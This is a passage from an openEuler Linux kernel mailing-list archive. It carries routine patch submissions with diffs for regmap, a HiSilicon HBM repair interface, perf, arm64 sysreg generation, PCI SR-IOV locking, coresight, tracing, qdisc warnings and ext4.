BITS_TO_LONGS(blklen) * sizeof(*present), - GFP_KERNEL); + map->alloc_flags); if (!present) { kfree(blk); return -ENOMEM; @@ -335,7 +335,7 @@ regcache_rbtree_node_alloc(struct regmap *map, unsigned int reg) const struct regmap_range *range; int i; - rbnode = kzalloc(sizeof(*rbnode), GFP_KERNEL); + rbnode = kzalloc(sizeof(*rbnode), map->alloc_flags); if (!rbnode) return NULL; @@ -361,13 +361,13 @@ regcache_rbtree_node_alloc(struct regmap *map, unsigned int reg) } rbnode->block = kmalloc_array(rbnode->blklen, map->cache_word_size, - GFP_KERNEL); + map->alloc_flags); if (!rbnode->block) goto err_free; rbnode->cache_present = kcalloc(BITS_TO_LONGS(rbnode->blklen), sizeof(*rbnode->cache_present), - GFP_KERNEL); + map->alloc_flags); if (!rbnode->cache_present) goto err_free_block; -- 2.17.1

2 2

[PATCH OLK-5.10] soc: hisilicon: hisi_hbmdev: Add hbm acls repair and query methods
by Zhang Zekun 03 Nov '23

03 Nov '23

Offering: HULK hulk inclusion category: feature bugzilla: https://gitee.com/openeuler/kernel/issues/I8CCP5 ---------------------------------- Hbm memory device add support for acls hot repair. The patch add two methods for userpace: - query a paddr if it support acls repair - repair a paddr in hbm memory device The feature of ACLS hot repair can help to fix a memory error from userspace by passing through the error physical address to HBM hardware. Signed-off-by: Zhang Zekun <zhangzekun11(a)huawei.com> --- drivers/soc/hisilicon/Kconfig | 10 +++ drivers/soc/hisilicon/hisi_hbmdev.c | 134 ++++++++++++++++++++++++++++ 2 files changed, 144 insertions(+) diff --git a/drivers/soc/hisilicon/Kconfig b/drivers/soc/hisilicon/Kconfig index 383375f20cac..45754528873e 100644 --- a/drivers/soc/hisilicon/Kconfig +++ b/drivers/soc/hisilicon/Kconfig @@ -44,4 +44,14 @@ config HISI_HBMCACHE To compile the driver as a module, choose M here: the module will be called hisi_hbmcache. +config HISI_HBMDEV_ACLS + bool "Add support for HISI ACLS repair" + depends on HISI_HBMDEV + help + Add ACLS support for hbm device, which can be used to query and + repair hardware error in HBM devices. This feature need to work with + hardware firmwares. + + If not sure say no. + endmenu diff --git a/drivers/soc/hisilicon/hisi_hbmdev.c b/drivers/soc/hisilicon/hisi_hbmdev.c index 5b6b1618148c..5cde7a123033 100644 --- a/drivers/soc/hisilicon/hisi_hbmdev.c +++ b/drivers/soc/hisilicon/hisi_hbmdev.c @@ -26,6 +26,9 @@ struct memory_dev { struct kobject *memdev_kobj; struct kobject *topo_kobj; struct cdev_node cdev_list; +#ifdef CONFIG_HISI_HBMDEV_ACLS + struct kobject *acls_kobj; +#endif nodemask_t cluster_cpumask[MAX_NUMNODES]; }; @@ -85,6 +88,131 @@ static void memory_topo_init(void) kobject_put(mdev->topo_kobj); } +#ifdef CONFIG_HISI_HBMDEV_ACLS +static struct acpi_device* paddr_to_acpi_device(u64 paddr) +{ + int nid; + u64 pfn; + + pfn = __phys_to_pfn(paddr); + if (!pfn_valid(pfn)) + return NULL; + + nid = pfn_to_nid(pfn); + if (nid < 0 && nid >= MAX_NUMNODES) + return NULL; + + return hotplug_mdev[nid]; +} + +static ssize_t acls_query_store(struct kobject *kobj, + struct kobj_attribute *attr, + const char *buf, size_t count) +{ + struct acpi_object_list arg_list; + struct acpi_device *adev; + union acpi_object obj; + acpi_status status; + u64 paddr, res; + + if (kstrtoull(buf, 16, &paddr)) + return -EINVAL; + + adev = paddr_to_acpi_device(paddr); + if (!adev) + return -EINVAL; + + obj.type = ACPI_TYPE_INTEGER; + obj.integer.value = paddr; + arg_list.count = 1; + arg_list.pointer = &obj; + + status = acpi_evaluate_integer(adev->handle, "AQRY", &arg_list, &res); + if (ACPI_FAILURE(status)) + return -ENODEV; + + if (IS_ERR_VALUE(-res)) + return -res; + else if (res) + return -ENODEV; + + return count; +} + +static struct kobj_attribute acls_query_store_attribute = + __ATTR(acls_query, 0200, NULL, acls_query_store); + +static ssize_t acls_repair_store(struct kobject *kobj, + struct kobj_attribute *attr, + const char *buf, size_t count) +{ + struct acpi_object_list arg_list; + struct acpi_device *adev; + union acpi_object obj; + acpi_status status; + u64 paddr, res; + + if (kstrtoull(buf, 16, &paddr)) + return -EINVAL; + + adev = paddr_to_acpi_device(paddr); + if (!adev) + return -EINVAL; + + obj.type = ACPI_TYPE_INTEGER; + obj.integer.value = paddr; + arg_list.count = 1; + arg_list.pointer = &obj; + + status = acpi_evaluate_integer(adev->handle, "AREP", &arg_list, &res); + if (ACPI_FAILURE(status)) + return -ENODEV; + + if (IS_ERR_VALUE(-res)) + return -res; + else if (res) + return -ENODEV; + + return count; +} +static struct kobj_attribute acls_repair_store_attribute = + __ATTR(acls_repair, 0200, NULL, acls_repair_store); + +static struct attribute *acls_attrs[] = { + &acls_query_store_attribute.attr, + &acls_repair_store_attribute.attr, + NULL, +}; + +static struct attribute_group acls_attr_group = { + .attrs = acls_attrs, +}; + +static void acls_init(void) +{ + int ret = -ENOMEM; + + mdev->acls_kobj = kobject_create_and_add("acls", mdev->memdev_kobj); + if (!mdev->acls_kobj) + goto out; + + ret = sysfs_create_group(mdev->acls_kobj, &acls_attr_group); + if (ret) + kobject_put(mdev->acls_kobj); + +out: + if (ret) + pr_err("ACLS hot repair is not enabled\n"); + + return; +} + +static void acls_remove(void) +{ + kobject_put(mdev->acls_kobj); +} +#endif + static int get_pxm(struct acpi_device *acpi_device, void *arg) { acpi_handle handle = acpi_device->handle; @@ -284,6 +412,9 @@ static int __init mdev_init(void) } memory_topo_init(); +#ifdef CONFIG_HISI_HBMDEV_ACLS + acls_init(); +#endif return ret; } module_init(mdev_init); @@ -293,6 +424,9 @@ static void __exit mdev_exit(void) container_remove(); kobject_put(mdev->memdev_kobj); kobject_put(mdev->topo_kobj); +#ifdef CONFIG_HISI_HBMDEV_ACLS + acls_remove(); +#endif kfree(mdev); } module_exit(mdev_exit); -- 2.17.1

2 1

[PATCH OLK-5.10 v2] perf auxtrace ptt: Record whether an auxtrace mmap is needed
by Junhao He 03 Nov '23

03 Nov '23

driver inclusion category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I7HI80 CVE: NA ---------------------------------------------------------------------- Add a flag needs_auxtrace_mmap to record whether an auxtrace mmap is needed, in preparation for correctly determining whether or not an auxtrace mmap is needed. The change was added in the mainline [1], but it was deleted when upstream openEuler for fixes build error. openEuler OLK-5.10 now has merge evsel->needs_auxtrace_mmap. Therefore, backport this modification to OpenEuler OLK-5.10. [1] commit 057381a7ece1 ("perf auxtrace arm64: Add support for HiSilicon PCIe Tune and Trace device driver") Signed-off-by: Junhao He <hejunhao3(a)huawei.com> --- tools/perf/arch/arm64/util/hisi-ptt.c | 1 + 1 file changed, 1 insertion(+) diff --git a/tools/perf/arch/arm64/util/hisi-ptt.c b/tools/perf/arch/arm64/util/hisi-ptt.c index 110b2edf3e6b..97696b6e1dd5 100644 --- a/tools/perf/arch/arm64/util/hisi-ptt.c +++ b/tools/perf/arch/arm64/util/hisi-ptt.c @@ -113,6 +113,7 @@ static int hisi_ptt_recording_options(struct auxtrace_record *itr, } evsel->core.attr.freq = 0; evsel->core.attr.sample_period = 1; + evsel->needs_auxtrace_mmap = true; hisi_ptt_evsel = evsel; opts->full_auxtrace = true; } -- 2.33.0

2 1

[PATCH OLK-5.10 00/13] arm64: Add sysreg header generation scripting
by Junhao He 03 Nov '23

03 Nov '23

The arm64 kernel requires some metadata for each system register it may need to access. Currently we have: * A SYS_<regname> definition which sorresponds to a sys_reg() macro. This is used both to look up a sysreg by encoding (e.g. in KVM), and also to generate code to access a sysreg where the assembler is unaware of the specific sysreg encoding. Where assemblers support the S3_<op1>_C<crn>_C<crm>_<op2> syntax for system registers, we could use this rather than manually assembling the instructions. However, we don't have consistent definitions for these and we currently still need to handle toolchains that lack this feature. * A set of <regname>_<fieldname>_SHIFT and <regname>_<fieldname>_MASK definitions, which can be used to extract fields from the register, or to construct a register from a set of fields. These do not follow the convention used by <linux/bitfield.h>, and the masks are not shifted into place, preventing their use in FIELD_PREP() and FIELD_GET(). We require the SHIFT definitions for inline assembly (and WIDTH definitions would be helpful for UBFX/SBFX), so we cannot only define a shifted MASK. Defining a SHIFT, WIDTH, shifted MASK and unshifted MASK is tedious and error-prone and life is much easier when they can be relied up to exist when writing code. * A set of <regname>_<fieldname>_<valname> definitions for each enumerated value a field may hold. These are used when identifying the presence of features. Atop of this, other code has to build up metadata at runtime (e.g. the sets of RES0/RES1 bits in a register). Alejandro Tafalla (1): arm64/sysreg: Fix typo in Enum element regex James Morse (1): arm64/sysreg: Extend the maximum width of a register and symbol name Marc Zyngier (1): arm64: Allow the definition of UNKNOWN system register fields Mark Brown (6): arm64/sysreg: Enable automatic generation of system register definitions arm64/sysreg: Introduce helpers for access to sysreg fields arm64/sysreg: Add SYS_FIELD_GET() helper arm64/sysreg: Support generation of RAZ fields arm64/sysreg: Allow leading blanks on comments in sysreg file arm64/sysreg: Allow enumerations to be declared as signed or unsigned Mark Rutland (4): arm64: Add sysreg header generation scripting arm64/sysreg: improve comment for regs without fields arm64/sysreg: fix odd line spacing arm64/sysreg: allow *Enum blocks in SysregFields blocks arch/arm64/Makefile | 3 + arch/arm64/include/asm/Kbuild | 2 + arch/arm64/include/asm/sysreg.h | 17 ++ arch/arm64/tools/Makefile | 18 ++ arch/arm64/tools/gen-sysreg.awk | 336 ++++++++++++++++++++++++++++++++ arch/arm64/tools/sysreg | 50 +++++ 6 files changed, 426 insertions(+) create mode 100644 arch/arm64/tools/Makefile create mode 100755 arch/arm64/tools/gen-sysreg.awk create mode 100644 arch/arm64/tools/sysreg -- 2.33.0

2 14

[PATCH OLK-5.10] PCI/IOV: Add pci_sriov_numvfs_lock to support enable pci sriov concurrently
by Jialin Zhang 02 Nov '23

02 Nov '23

hulk inclusion category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I8BLQX CVE: NA -------------------------------- "echo sriov_totalvfs > /sys/bus/pci/devices/$PF_BDF/sriov_numvfs" concurrently may cause the following warnings: Warning 1: sysfs: cannot create duplicate filename '/devices/pci0000:95/0000:95:00.0/pci_bus/0000:97' Call trace: dump_backtrace+0x0/0x200 show_stack+0x20/0x30 dump_stack+0xf0/0x138 sysfs_warn_dup+0x6c/0x90 sysfs_create_dir_ns+0xf8/0x11c create_dir+0x30/0x18c kobject_add_internal+0x5c/0x190 kobject_add+0x98/0x110 device_add+0x100/0x4a0 device_register+0x28/0x40 pci_alloc_child_bus+0x184/0x24c pci_add_new_bus+0x20/0xa4 pci_iov_add_virtfn+0x2a8/0x31c sriov_enable+0x20c/0x4d0 pci_enable_sriov+0x38/0x50 virtio_pci_sriov_configure+0x3c/0xf4 [virtio_pci] sriov_numvfs_store+0xb0/0x1b0 dev_attr_store+0x20/0x34 sysfs_kf_write+0x4c/0x5c kernfs_fop_write_iter+0x130/0x1c0 new_sync_write+0xf0/0x194 vfs_write+0x224/0x2c0 ksys_write+0x74/0x104 __arm64_sys_write+0x24/0x30 el0_svc_common.constprop.0+0x7c/0x1bc do_el0_svc+0x2c/0xa4 el0_svc+0x20/0x30 el0_sync_handler+0xb0/0xb4 el0_sync+0x160/0x180 The reason is that different VFs may create the same pci bus number and try to add new bus concurrently in virtfn_add_bus. Warning 2: proc_dir_entry 'pci/0000:97' already registered Call trace: proc_register+0x100/0x190 proc_mkdir+0x6c/0xa0 pci_proc_attach_device+0xfc/0x120 pci_bus_add_device+0x40/0xd0 pci_iov_add_virtfn+0x2c8/0x31c sriov_enable+0x20c/0x4d0 pci_enable_sriov+0x38/0x50 virtio_pci_sriov_configure+0x3c/0xf4 [virtio_pci] sriov_numvfs_store+0xb0/0x1b0 dev_attr_store+0x20/0x34 sysfs_kf_write+0x4c/0x5c kernfs_fop_write_iter+0x130/0x1c0 new_sync_write+0xf0/0x194 vfs_write+0x224/0x2c0 ksys_write+0x74/0x104 __arm64_sys_write+0x24/0x30 el0_svc_common.constprop.0+0x7c/0x1bc do_el0_svc+0x2c/0xa4 el0_svc+0x20/0x30 el0_sync_handler+0xb0/0xb4 el0_sync+0x160/0x180 The reason is that different VFs may create '/proc/bus/pci/bus_number' directory using the same bus number in pci_proc_attach_device concurrently. Mutex lock can avoid potential conflict. With the patch below the warnings above are no longer appear. Signed-off-by: Jialin Zhang <zhangjialin11(a)huawei.com> --- drivers/pci/iov.c | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/drivers/pci/iov.c b/drivers/pci/iov.c index 4afd4ee4f7f0..958f349345ca 100644 --- a/drivers/pci/iov.c +++ b/drivers/pci/iov.c @@ -16,6 +16,8 @@ #define VIRTFN_ID_LEN 16 +static DEFINE_MUTEX(pci_sriov_numvfs_lock); + int pci_iov_virtfn_bus(struct pci_dev *dev, int vf_id) { if (!dev->is_physfn) @@ -299,6 +301,7 @@ static ssize_t sriov_numvfs_store(struct device *dev, if (num_vfs > pci_sriov_get_totalvfs(pdev)) return -ERANGE; + mutex_lock(&pci_sriov_numvfs_lock); device_lock(&pdev->dev); if (num_vfs == pdev->sriov->num_VFs) @@ -335,6 +338,7 @@ static ssize_t sriov_numvfs_store(struct device *dev, exit: device_unlock(&pdev->dev); + mutex_unlock(&pci_sriov_numvfs_lock); if (ret < 0) return ret; -- 2.25.1

2 1

[PATCH openEuler-1.0-LTS] PCI/IOV: Add pci_sriov_numvfs_lock to support enable pci sriov concurrently
by Jialin Zhang 02 Nov '23

02 Nov '23

hulk inclusion category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I8BLQX CVE: NA -------------------------------- "echo sriov_totalvfs > /sys/bus/pci/devices/$PF_BDF/sriov_numvfs" concurrently may cause the following warnings: Warning 1: sysfs: cannot create duplicate filename '/devices/pci0000:95/0000:95:00.0/pci_bus/0000:97' Call trace: dump_backtrace+0x0/0x200 show_stack+0x20/0x30 dump_stack+0xf0/0x138 sysfs_warn_dup+0x6c/0x90 sysfs_create_dir_ns+0xf8/0x11c create_dir+0x30/0x18c kobject_add_internal+0x5c/0x190 kobject_add+0x98/0x110 device_add+0x100/0x4a0 device_register+0x28/0x40 pci_alloc_child_bus+0x184/0x24c pci_add_new_bus+0x20/0xa4 pci_iov_add_virtfn+0x2a8/0x31c sriov_enable+0x20c/0x4d0 pci_enable_sriov+0x38/0x50 virtio_pci_sriov_configure+0x3c/0xf4 [virtio_pci] sriov_numvfs_store+0xb0/0x1b0 dev_attr_store+0x20/0x34 sysfs_kf_write+0x4c/0x5c kernfs_fop_write_iter+0x130/0x1c0 new_sync_write+0xf0/0x194 vfs_write+0x224/0x2c0 ksys_write+0x74/0x104 __arm64_sys_write+0x24/0x30 el0_svc_common.constprop.0+0x7c/0x1bc do_el0_svc+0x2c/0xa4 el0_svc+0x20/0x30 el0_sync_handler+0xb0/0xb4 el0_sync+0x160/0x180 The reason is that different VFs may create the same pci bus number and try to add new bus concurrently in virtfn_add_bus. Warning 2: proc_dir_entry 'pci/0000:97' already registered Call trace: proc_register+0x100/0x190 proc_mkdir+0x6c/0xa0 pci_proc_attach_device+0xfc/0x120 pci_bus_add_device+0x40/0xd0 pci_iov_add_virtfn+0x2c8/0x31c sriov_enable+0x20c/0x4d0 pci_enable_sriov+0x38/0x50 virtio_pci_sriov_configure+0x3c/0xf4 [virtio_pci] sriov_numvfs_store+0xb0/0x1b0 dev_attr_store+0x20/0x34 sysfs_kf_write+0x4c/0x5c kernfs_fop_write_iter+0x130/0x1c0 new_sync_write+0xf0/0x194 vfs_write+0x224/0x2c0 ksys_write+0x74/0x104 __arm64_sys_write+0x24/0x30 el0_svc_common.constprop.0+0x7c/0x1bc do_el0_svc+0x2c/0xa4 el0_svc+0x20/0x30 el0_sync_handler+0xb0/0xb4 el0_sync+0x160/0x180 The reason is that different VFs may create '/proc/bus/pci/bus_number' directory using the same bus number in pci_proc_attach_device concurrently. Mutex lock can avoid potential conflict. With the patch below the warnings above are no longer appear. Signed-off-by: Jialin Zhang <zhangjialin11(a)huawei.com> --- drivers/pci/pci-sysfs.c | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/drivers/pci/pci-sysfs.c b/drivers/pci/pci-sysfs.c index 48c56cb08652..e35c2f0ee28c 100644 --- a/drivers/pci/pci-sysfs.c +++ b/drivers/pci/pci-sysfs.c @@ -31,6 +31,8 @@ static int sysfs_initialized; /* = 0 */ +static DEFINE_MUTEX(pci_sriov_numvfs_lock); + /* show configuration fields */ #define pci_config_attr(field, format_string) \ static ssize_t \ @@ -604,6 +606,7 @@ static ssize_t sriov_numvfs_store(struct device *dev, if (num_vfs > pci_sriov_get_totalvfs(pdev)) return -ERANGE; + mutex_lock(&pci_sriov_numvfs_lock); device_lock(&pdev->dev); if (num_vfs == pdev->sriov->num_VFs) @@ -640,6 +643,7 @@ static ssize_t sriov_numvfs_store(struct device *dev, exit: device_unlock(&pdev->dev); + mutex_unlock(&pci_sriov_numvfs_lock); if (ret < 0) return ret; -- 2.25.1

2 1

[PATCH OLK-5.10] coresight: core: fix memory leak in dict->fwnode_list
by Junhao He 02 Nov '23

02 Nov '23

driver inclusion category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I8DBW8 CVE: NA ---------------------------------------------------------------------- There are memory leaks reported by kmemleak: ... unreferenced object 0xffff2020103c3200 (size 256): comm "insmod", pid 4476, jiffies 4294978252 (age 50072.536s) hex dump (first 32 bytes): 10 60 40 06 28 20 ff ff 10 c0 59 06 20 20 ff ff .`@.( ....Y. .. 10 e0 47 06 28 20 ff ff 10 00 49 06 28 20 ff ff ..G.( ....I.( .. backtrace: [<0000000034ec4724>] __kmem_cache_alloc_node+0x2f8/0x348 [<0000000057fbc15d>] __kmalloc_node_track_caller+0x5c/0x110 [<00000055d5e34b>] krealloc+0x8c/0x178 [<00000000a4635beb>] coresight_alloc_device_name+0x128/0x188 [coresight] [<00000000a92ddfee>] funnel_cs_ops+0x10/0xfffffffffffedaa0 [coresight_funnel] [<00000000449e20f8>] dynamic_funnel_ids+0x80/0xfffffffffffed840 [coresight_funnel] ... when remove driver, the golab variables defined by the macro DEFINE_CORESIGHT_DEVLIST will be released, dict->nr_idx and dict->fwnode_list are cleared to 0. The lifetime of the golab variable has ended. So the buffer pointer is lost. Use the callback of devm_add_action_or_reset() to free memory. Fixes: 0f5f9b6ba9e1 ("coresight: Use platform agnostic names") Signed-off-by: Junhao He <hejunhao3(a)huawei.com> --- drivers/hwtracing/coresight/coresight-core.c | 20 +++++++++++++++++++- 1 file changed, 19 insertions(+), 1 deletion(-) diff --git a/drivers/hwtracing/coresight/coresight-core.c b/drivers/hwtracing/coresight/coresight-core.c index 9696f402a328..55ec00876989 100644 --- a/drivers/hwtracing/coresight/coresight-core.c +++ b/drivers/hwtracing/coresight/coresight-core.c @@ -1739,6 +1739,20 @@ bool coresight_loses_context_with_cpu(struct device *dev) } EXPORT_SYMBOL_GPL(coresight_loses_context_with_cpu); +void coresight_release_dev_list(void *data) +{ + struct coresight_dev_list *dict = data; + + mutex_lock(&coresight_mutex); + + if (dict->nr_idx) { + kfree(dict->fwnode_list); + dict->nr_idx = 0; + } + + mutex_unlock(&coresight_mutex); +} + /* * coresight_alloc_device_name - Get an index for a given device in the * device index list specific to a driver. An index is allocated for a @@ -1749,12 +1763,16 @@ EXPORT_SYMBOL_GPL(coresight_loses_context_with_cpu); char *coresight_alloc_device_name(struct coresight_dev_list *dict, struct device *dev) { - int idx; + int idx, ret; char *name = NULL; struct fwnode_handle **list; mutex_lock(&coresight_mutex); + ret = devm_add_action_or_reset(dev, coresight_release_dev_list, dict); + if (ret) + goto done; + idx = coresight_search_device_idx(dict, dev_fwnode(dev)); if (idx < 0) { /* Make space for the new entry */ -- 2.33.0

2 1

[PATCH OLK-5.10 v2] perf auxtrace ptt: Record whether an auxtrace mmap is needed
by Junhao He 02 Nov '23

02 Nov '23

driver inclusion category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I7HI80 CVE: NA ---------------------------------------------------------------------- Add a flag needs_auxtrace_mmap to record whether an auxtrace mmap is needed, in preparation for correctly determining whether or not an auxtrace mmap is needed. The change was added in the mainline patch [1], but it was deleted when upstream openEuler for fixes build error. openEuler OLK-5.10 now has merge evsel->needs_auxtrace_mmap. Therefore, backport this modification to OpenEuler OLK-5.10. [1] 057381a7ece1 "perf auxtrace arm64: Add support for HiSilicon PCIe Tune and Trace device driver" Signed-off-by: Junhao He <hejunhao3(a)huawei.com> --- tools/perf/arch/arm64/util/hisi-ptt.c | 1 + 1 file changed, 1 insertion(+) diff --git a/tools/perf/arch/arm64/util/hisi-ptt.c b/tools/perf/arch/arm64/util/hisi-ptt.c index 110b2edf3e6b..97696b6e1dd5 100644 --- a/tools/perf/arch/arm64/util/hisi-ptt.c +++ b/tools/perf/arch/arm64/util/hisi-ptt.c @@ -113,6 +113,7 @@ static int hisi_ptt_recording_options(struct auxtrace_record *itr, } evsel->core.attr.freq = 0; evsel->core.attr.sample_period = 1; + evsel->needs_auxtrace_mmap = true; hisi_ptt_evsel = evsel; opts->full_auxtrace = true; } -- 2.33.0

2 1

[PATCH] perf auxtrace ptt: Record whether an auxtrace mmap is needed
by Junhao He 02 Nov '23

02 Nov '23

driver inclusion category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I7HI80 CVE: NA ---------------------------------------------------------------------- Add a flag needs_auxtrace_mmap to record whether an auxtrace mmap is needed, in preparation for correctly determining whether or not an auxtrace mmap is needed. The change was added in the mainline patch [1], but it was deleted when upstream openEuler for fixes build error. openEuler OLK-5.10 now has merge evsel->needs_auxtrace_mmap. Therefore, backport this modification to OpenEuler OLK-5.10. [1] 057381a7ece1 "perf auxtrace arm64: Add support for HiSilicon PCIe Tune and Trace device driver" Signed-off-by: Junhao He <hejunhao3(a)huawei.com> --- tools/perf/arch/arm64/util/hisi-ptt.c | 1 + 1 file changed, 1 insertion(+) diff --git a/tools/perf/arch/arm64/util/hisi-ptt.c b/tools/perf/arch/arm64/util/hisi-ptt.c index 110b2edf3e6b..97696b6e1dd5 100644 --- a/tools/perf/arch/arm64/util/hisi-ptt.c +++ b/tools/perf/arch/arm64/util/hisi-ptt.c @@ -113,6 +113,7 @@ static int hisi_ptt_recording_options(struct auxtrace_record *itr, } evsel->core.attr.freq = 0; evsel->core.attr.sample_period = 1; + evsel->needs_auxtrace_mmap = true; hisi_ptt_evsel = evsel; opts->full_auxtrace = true; } -- 2.33.0

1 0

[PATCH v3 openEuler-1.0-LTS] kernel/trace: Fix do not unregister tracepoints when register sched_migrate_task fail
by Wenyu Huang 02 Nov '23

02 Nov '23

From: Kaitao Cheng <pilgrimtao(a)gmail.com> stable inclusion from stable-v4.19.297 commit 50f9ad607ea891a9308e67b81f774c71736d1098 category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I8BAW8 Reference: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id… -------------------------------- In the function, if register_trace_sched_migrate_task() returns error, sched_switch/sched_wakeup_new/sched_wakeup won't unregister. That is why fail_deprobe_sched_switch was added. Link: http://lkml.kernel.org/r/20191231133530.2794-1-pilgrimtao@gmail.com Cc: stable(a)vger.kernel.org Fixes: 478142c39c8c2 ("tracing: do not grab lock in wakeup latency function tracing") Signed-off-by: Kaitao Cheng <pilgrimtao(a)gmail.com> Signed-off-by: Steven Rostedt (VMware) <rostedt(a)goodmis.org> Signed-off-by: Wenyu Huang <huangwenyu4(a)huawei.com> --- kernel/trace/trace_sched_wakeup.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/kernel/trace/trace_sched_wakeup.c b/kernel/trace/trace_sched_wakeup.c index 0db1b024e786..8041bd5e4262 100644 --- a/kernel/trace/trace_sched_wakeup.c +++ b/kernel/trace/trace_sched_wakeup.c @@ -642,7 +642,7 @@ static void start_wakeup_tracer(struct trace_array *tr) if (ret) { pr_info("wakeup trace: Couldn't activate tracepoint" " probe to kernel_sched_migrate_task\n"); - return; + goto fail_deprobe_sched_switch; } wakeup_reset(tr); @@ -660,6 +660,8 @@ static void start_wakeup_tracer(struct trace_array *tr) printk(KERN_ERR "failed to start wakeup tracer\n"); return; +fail_deprobe_sched_switch: + unregister_trace_sched_switch(probe_wakeup_sched_switch, NULL); fail_deprobe_wake_new: unregister_trace_sched_wakeup_new(probe_wakeup, NULL); fail_deprobe: -- 2.34.1

2 1

[PATCH openEuler-1.0-LTS] net: sched: sch_qfq: Use non-work-conserving warning handler
by Liu Jian 02 Nov '23

02 Nov '23

mainline inclusion from mainline-v6.7-rc1 commit 6d25d1dc76bf5943a5c1f4bb74d66d5eac58eb77 category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I8D8S8 CVE: NA Reference: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?… --------------------------- A helper function for printing non-work-conserving alarms is added in commit b00355db3f88 ("pkt_sched: sch_hfsc: sch_htb: Add non-work-conserving warning handler."). In this commit, use qdisc_warn_nonwc() instead of WARN_ONCE() to handle the non-work-conserving warning in qfq Qdisc. Signed-off-by: Liu Jian <liujian56(a)huawei.com> Link: https://lore.kernel.org/r/20231023064729.370649-1-liujian56@huawei.com Signed-off-by: Paolo Abeni <pabeni(a)redhat.com> Signed-off-by: Liu Jian <liujian56(a)huawei.com> --- net/sched/sch_qfq.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/net/sched/sch_qfq.c b/net/sched/sch_qfq.c index 5b7b149a2b9f..14d009151a5b 100644 --- a/net/sched/sch_qfq.c +++ b/net/sched/sch_qfq.c @@ -1018,7 +1018,7 @@ static inline struct sk_buff *qfq_peek_skb(struct qfq_aggregate *agg, *cl = list_first_entry(&agg->active, struct qfq_class, alist); skb = (*cl)->qdisc->ops->peek((*cl)->qdisc); if (skb == NULL) - WARN_ONCE(1, "qfq_dequeue: non-workconserving leaf\n"); + qdisc_warn_nonwc("qfq_dequeue", (*cl)->qdisc); else *len = qdisc_pkt_len(skb); -- 2.34.1

2 1

[PATCH OLK-5.10] net: sched: sch_qfq: Use non-work-conserving warning handler
by Liu Jian 02 Nov '23

02 Nov '23

mainline inclusion from mainline-v6.7-rc1 commit 6d25d1dc76bf5943a5c1f4bb74d66d5eac58eb77 category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I8D8S8 CVE: NA Reference: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?… --------------------------- A helper function for printing non-work-conserving alarms is added in commit b00355db3f88 ("pkt_sched: sch_hfsc: sch_htb: Add non-work-conserving warning handler."). In this commit, use qdisc_warn_nonwc() instead of WARN_ONCE() to handle the non-work-conserving warning in qfq Qdisc. Signed-off-by: Liu Jian <liujian56(a)huawei.com> Link: https://lore.kernel.org/r/20231023064729.370649-1-liujian56@huawei.com Signed-off-by: Paolo Abeni <pabeni(a)redhat.com> Signed-off-by: Liu Jian <liujian56(a)huawei.com> --- net/sched/sch_qfq.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/net/sched/sch_qfq.c b/net/sched/sch_qfq.c index 9447f486141d..e48c3baa059e 100644 --- a/net/sched/sch_qfq.c +++ b/net/sched/sch_qfq.c @@ -1005,7 +1005,7 @@ static inline struct sk_buff *qfq_peek_skb(struct qfq_aggregate *agg, *cl = list_first_entry(&agg->active, struct qfq_class, alist); skb = (*cl)->qdisc->ops->peek((*cl)->qdisc); if (skb == NULL) - WARN_ONCE(1, "qfq_dequeue: non-workconserving leaf\n"); + qdisc_warn_nonwc("qfq_dequeue", (*cl)->qdisc); else *len = qdisc_pkt_len(skb); -- 2.34.1

2 1

[PATCH OLK-5.10] ext4: recheck buffer valid after page unlock
by yangerkun 02 Nov '23

02 Nov '23

hulk inclusion category: bugfix bugzilla: 189306, https://gitee.com/openeuler/kernel/issues/I8BBWH CVE: NA ---------------------------------------- We need destination address when we do dio read, and this addr can come from mmap results for a journal data mode inode. Then dio_bio_complete will dirty the page which the mmap addr point to(since we have fill dirty data for this page). ext4_journalled_set_page_dirty will first set PageChecked and then dirty page(do not dirty buffer), which leave __ext4_journalled_writepage in ext4_writepage to do the rest thing needed for journal data mode. We need first start handle and then lock the page, so in __ext4_journalled_writepage we first unlock the page and latter call ext4_journal_start; after we relock the page, we do some check to prevent the concurrence truncate and then walk through buffer to help join journal. Actually, once we unlock the page, since we has not add extra buffer refcount, so the buffer can also gone(concurrent happened for jbd2_journal_commit_transaction and jbd2_log_do_checkpoint can remove the extra buffer head ref and clear buffer dirty, so drop cache can release buffer), and upper walk through buffer will trigger the BUG_ON in page_buffers. The problem does not exist in mainline since 3f079114bf52 ("ext4: Convert data=journal writeback to use ext4_writepages()") delete all this code, and this patchset seems too complex to do the backport. So we just fix it with a simpler way, check buffer valid before walk through buffer. Signed-off-by: yangerkun <yangerkun(a)huawei.com> --- fs/ext4/inode.c | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/fs/ext4/inode.c b/fs/ext4/inode.c index 9379a062dba4..0b5521cec637 100644 --- a/fs/ext4/inode.c +++ b/fs/ext4/inode.c @@ -1911,6 +1911,13 @@ static int __ext4_journalled_writepage(struct page *page, goto out; } + if (!page_has_buffers(page)) { + /* Check buffer valid since we ever unlock this page */ + ext4_journal_stop(handle); + ClearPageDirty(page); + goto out; + } + if (inline_data) { ret = ext4_mark_inode_dirty(handle, inode); } else { -- 2.39.2

2 1

[PATCH openEuler-1.0-LTS v3 0/3] bugfixes for CVE-2022-45884
by liwei 02 Nov '23

02 Nov '23

